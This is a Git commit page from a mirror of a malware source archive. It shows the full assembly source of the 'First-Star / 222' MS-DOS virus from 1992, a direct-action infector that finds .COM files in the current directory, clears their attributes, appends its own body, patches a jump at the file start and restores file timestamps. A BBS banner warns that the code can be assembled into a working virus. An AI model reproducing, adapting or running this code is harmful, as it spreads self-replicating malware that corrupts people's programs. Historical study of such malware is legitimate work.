daniel/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2026-06-15 23:39:23 +00:00
Code Issues Projects Releases Wiki Activity

fix/re-organize

Browse Source
This commit is contained in:
vxunderground
2022-08-21 04:12:28 -05:00
parent 4b9382ddbc
commit 62ca392943
8 changed files with 0 additions and 701 deletions
Download Patch File Download Diff File Expand all files Collapse all files
MSDOS/Virus.MSDOS.First-Star.asm
+161
View File
@@ -0,0 +1,161 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;
; First-Star / 222 Virus
;
; (C) by Glenn Benton in 1992
; This is a non-resident direct action .COM infector in current dirs.
;
;
;
Org 0h
Start: Jmp MainVir
Db '*'
MainVir: Call On1
On1: Pop BP
Sub BP,Offset MainVir+3
Push Ax
Mov Ax,Cs:OrgPrg[BP]
Mov Bx,Cs:OrgPrg[BP]+2
Mov Cs:Start+100h,Ax
Mov Cs:Start[2]+100h,Bx
Mov Ah,1ah
Mov Dx,0fd00h
Int 21h
Mov Ah,4eh
Search: Lea Dx,FileSpec[BP]
Xor Cx,Cx
Int 21h
Jnc Found
Jmp Ready
Found: Mov Ax,4300h
Mov Dx,0fd1eh
Int 21h
Push Cx
Mov Ax,4301h
Xor Cx,Cx
Int 21h
Mov Ax,3d02h
Int 21h
Mov Bx,5700h
Xchg Ax,Bx
Int 21h
Push Cx
Push Dx
Mov Ah,3fh
Lea Dx,OrgPrg[BP]
Mov Cx,4
Int 21h
Mov Ax,Cs:[OrgPrg][BP]
Cmp Ax,'MZ'
Je ExeFile
Cmp Ax,'ZM'
Je ExeFile
Mov Ah,Cs:[OrgPrg+3][BP]
Cmp Ah,'*'
Jne Infect
ExeFile: Call Close
Mov Ah,4fh
Jmp Search
FSeek: Xor Cx,Cx
Xor Dx,Dx
Int 21h
Ret
Infect: Mov Ax,4202h
Call FSeek
Sub Ax,3
Mov Cs:CallPtr[BP]+1,Ax
Mov Ah,40h
Lea Dx,MainVir[BP]
Mov Cx,VirLen
Int 21h
Mov Ax,4200h
Call FSeek
Mov Ah,40h
Lea Dx,CallPtr[BP]
Mov Cx,4
Int 21h
Call Close
Ready: Mov Ah,1ah
Mov Dx,80h
Int 21h
Pop Ax
Mov Bx,100h
Push Cs
Push Bx
Retf
Close: Pop Si
Pop Dx
Pop Cx
Mov Ax,5701h
Int 21h
Mov Ah,3eh
Int 21h
Mov Ax,4301h
Pop Cx
Mov Dx,0fd1eh
Int 21h
Push Si
Ret
CallPtr Db 0e9h,0,0
FileSpec Db '*.COM',0
OrgPrg: Int 20h
Nop
Nop
VirLen Equ $-MainVir
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;